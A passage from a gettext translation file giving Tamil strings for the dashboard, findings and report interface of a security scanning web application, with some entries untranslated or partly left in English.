rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"ரத்துசெய்\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"டாச்போர்டில் தலைப்பு\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"டாச்போர்டு உருப்படி அளவு\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"முழு அகலம்\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"அரை அகலம்\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"அந்த பெயரைக் கொண்ட ஒரு உருப்படி ஏற்கனவே உள்ளது. வேறு தலைப்பை முயற்சிக்கவும்.\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"டாச்போர்டு உருப்படியைச் சேர்க்கும்போது பிழை ஏற்பட்டது.\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"பட்டியலில் வரிசைகளின் எண்ணிக்கை\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"வழங்கியவர்\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"வகை (A-Z)\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"வகை (Z-A)\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"இசைவு நிலை (குறைந்த உயர்)\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"இசைவு நிலை (உயர்-குறைந்த)\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"அட்டவணை நெடுவரிசைகளைக் காட்டு\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"தீவிரம் (குறைந்த உயர்)\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"தீவிரம் (உயர்-குறைந்த)\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"கண்டுபிடிப்பு (A-Z)\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"கண்டுபிடிப்பு (z-a)\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"கண்டுபிடிப்புகள் டாச்போர்டு\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\"டாச்போர்டில் நீங்கள் தரவைக் காட்ட விரும்புகிறீர்கள்? நிலை {} மிக உயர்ந்த நிலை மற்றும் \"\n\"அதிகபட்ச நிலை {} ஆகும்.\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"அனைத்து அமைப்புகளுக்கும் பொது நெருக்கடி அறையில் காண்பிக்கப்படும்.\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"Will be displayed on a ஒற்றை organization முகப்புப்பெட்டி\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"அனைத்து நிறுவனங்களுக்கும் கண்டுபிடிப்புகள் டாச்போர்டில் காண்பிக்கப்படும்\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"டாச்போர்டு உருப்படியின் நிலையை மாற்றலாம்.\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\"நீங்கள் ஒரு செய்முறை அல்லது வினவலுக்கு இடையில் தேர்வு செய்ய வேண்டும், ஆனால் இரண்டுமே இல்லை.\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"நீங்கள் ஒரு வினவலை அமைத்துள்ளீர்கள், அது எங்கிருந்து இல்லை. மூலத்தையும் அமைக்கவும்.\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\"டாச்போர்டிடெமில் குறைந்தது ஒரு 'செய்முறை' அல்லது 'வினவல்' கொண்ட 'மூலத்தை' கொண்டிருக்க \"\n\"வேண்டும்.\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"மேக்ச் டாச்போர்டு உருப்படிகள் அடைந்தன.\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"நெருக்கடி அறை\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"அனைத்து அமைப்புகளுக்கும் நெருக்கடி அறை கண்ணோட்டம்.\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"டாச்போர்டுகள்\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"டாச்போர்டுகள்\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"காண்பிக்க டாச்போர்டுகள் எதுவும் இல்லை.\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"கண்டுபிடிப்புகள் கண்ணோட்டம்\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\"\\n\"\n\"                            இந்த கண்ணோட்டம் மொத்த கண்டுபிடிப்புகளின் எண்ணிக்கையைக் \"\n\"காட்டுகிறது \\n\"\n\"அனைத்து நிறுவனங்களுக்கும் அடையாளம் காணப்பட்ட தீவிரம். \\n\"\n\"இந்த தரவு அண்மைக் கால நெருக்கடி அறை கண்டுபிடிப்புகள் அறிக்கையை அடிப்படையாகக் கொண்டது \\n\"\n\"ஒவ்வொரு அமைப்பிலும்.\\n\"\n\"                        \"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"ஒரு நிறுவனத்திற்கு கண்டுபிடிப்புகள்\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"நெருக்கடி அறை வழிசெலுத்தல்\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"கண்டுபிடிப்புகள்\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"டாச்போர்டுக்கான விருப்பங்கள்\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"டாச்போர்டை நீக்கு\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\"டாச்போர்டுகள் இதுவரை இல்லை. புதிய டாச்போர்டை உருவாக்க \\\"டாச்போர்டைச் சேர்\\\" என்பதைக் \"\n\"சொடுக்கு செய்க.\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"பொருள் பட்டியல்\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"பட்டியலைக் கண்டறிதல்\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"பொருளைச் சேர்\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"கண்டுபிடிப்புகளைச் சேர்\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"டாச்போர்டைச் சேர்க்கவும்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"ஒரு நிறுவன கண்ணோட்டத்திற்கு கண்டுபிடிப்புகள்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"வகைகளைக் கண்டறிதல்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"நிகழ்வுகள்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"அதிக இடர் நிலை\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"முக்கியமான கண்டுபிடிப்பு வகைகள்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"விவரங்கள்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"விவரங்களை மூடு\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"திறந்த விவரங்கள்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\"இந்த கண்ணோட்டம் இந்த நிறுவனத்திற்கு அடையாளம் காணப்பட்ட தீவிரத்தன்மைக்கு மொத்த \"\n\"கண்டுபிடிப்புகளின் எண்ணிக்கையைக் காட்டுகிறது.\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"முக்கியமான மற்றும் உயர் கண்டுபிடிப்புகள்\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\"கண்டுபிடிப்புகள் எதுவும் அடையாளம் காணப்படவில்லை. மேலும் விவரங்களுக்கு அறிக்கையை \"\n\"சரிபார்க்கவும்.\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"கண்டுபிடிப்புகள் அறிக்கையைக் காண்க\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"அறிக்கை செய்முறையைத் திருத்து\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"%(length)s கண்டுபிடிப்புகளைக் காட்டுகிறது\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"கண்டுபிடிப்புகளுக்குச் செல்லுங்கள்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"கண்டுபிடிப்புகள் அட்டவணை \"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"பொத்தான்கள் கொண்ட நெடுவரிசை தலைப்புகள் வரிசைப்படுத்தக்கூடியவை\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"%(finding)s விவரங்களைக் காட்டு\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"மரம்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"வரைபடம்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"தீவிரம்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"கண்டுபிடிப்பு\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"வகை கண்டுபிடிப்பு\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"%(finding_type)s விவரங்களைக் காட்டு\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"OOI வகை\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"%(ooi_type)s பொருள்களைக் காட்டு\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"இடம்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"%(ooi)s விவரங்களைக் காட்டு\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"இடர் மதிப்பெண்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"விவரம்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"பரிந்துரை\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"மூலம்\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"தாக்கம்\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"டாச்போர்டு உருப்படிகளுக்கான விருப்பங்கள்\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"மேல் நிலை\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"கீழே நிலை\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"நீக்கு item\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"%(length)s பொருள்களைக் காட்டுகிறது\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"பொருள்களுக்குச் செல்\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"பொருள்கள் \"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"இந்த டாச்போர்டிலிருந்து '%(name)s' ஐ நீக்க விரும்புகிறீர்களா?\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"நீக்கு\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\"டாச்போர்டு '%(dashboard)s' நீக்க விரும்புகிறீர்களா? டாச்போர்டில் உள்ள அனைத்து பொருட்களும் \"\n\"நீக்கப்படும்.\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"டாச்போர்டு உருப்படிகளைச் சேர்ப்பதற்கான செயல்கள்\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"உருப்படியைச் சேர்க்கவும்\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"பொருள்கள்\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"விளக்கம்\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"டாச்போர்டில் சேர்க்கவும்\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"இசைவு நிலை\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"இசைவு வகை\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: 